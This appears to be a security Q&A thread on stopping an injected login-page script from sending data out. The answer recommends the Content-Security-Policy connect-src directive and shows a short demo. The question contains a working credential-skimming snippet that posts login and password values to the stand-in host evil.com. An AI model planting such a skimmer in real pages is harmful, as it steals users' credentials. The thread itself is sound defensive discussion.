0

Let's assume an attacker manages to inject this script in a login page:

const form = document.getElementsByTagName('form')[0];

form.addEventListener('submit', stealCredentials);

function stealCredentials() {
    const login = document.getElementsByName('login')[0].value;
    const password = document.getElementsByName('password')[0].value;

    fetch('evil.com/?login=' + login + '&password=' + password);
}

Is it possible to prevent the request ? Same Origin Policy doesn't seem to support such restriction.

Maybe a whitelist similar to the one from Content Security Policy ?

CheddarLizzard
  • 222
  • 2
  • 8

1 Answers1

1

The Content-Security-Policy connect-src directive is what you are after. This directive restricts what hosts the fetch method can send requests to.

Here is a minimal proof of concept:

<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="connect-src 'self'">
</head>
<body>
  <script>fetch('https://evil.com');</script>
</body>
</html>

The code above throws the following warning:

Refused to connect to 'https://evil.com/' because it violates the document's Content Security Policy.
EdOverflow
  • 1,246
  • 8
  • 21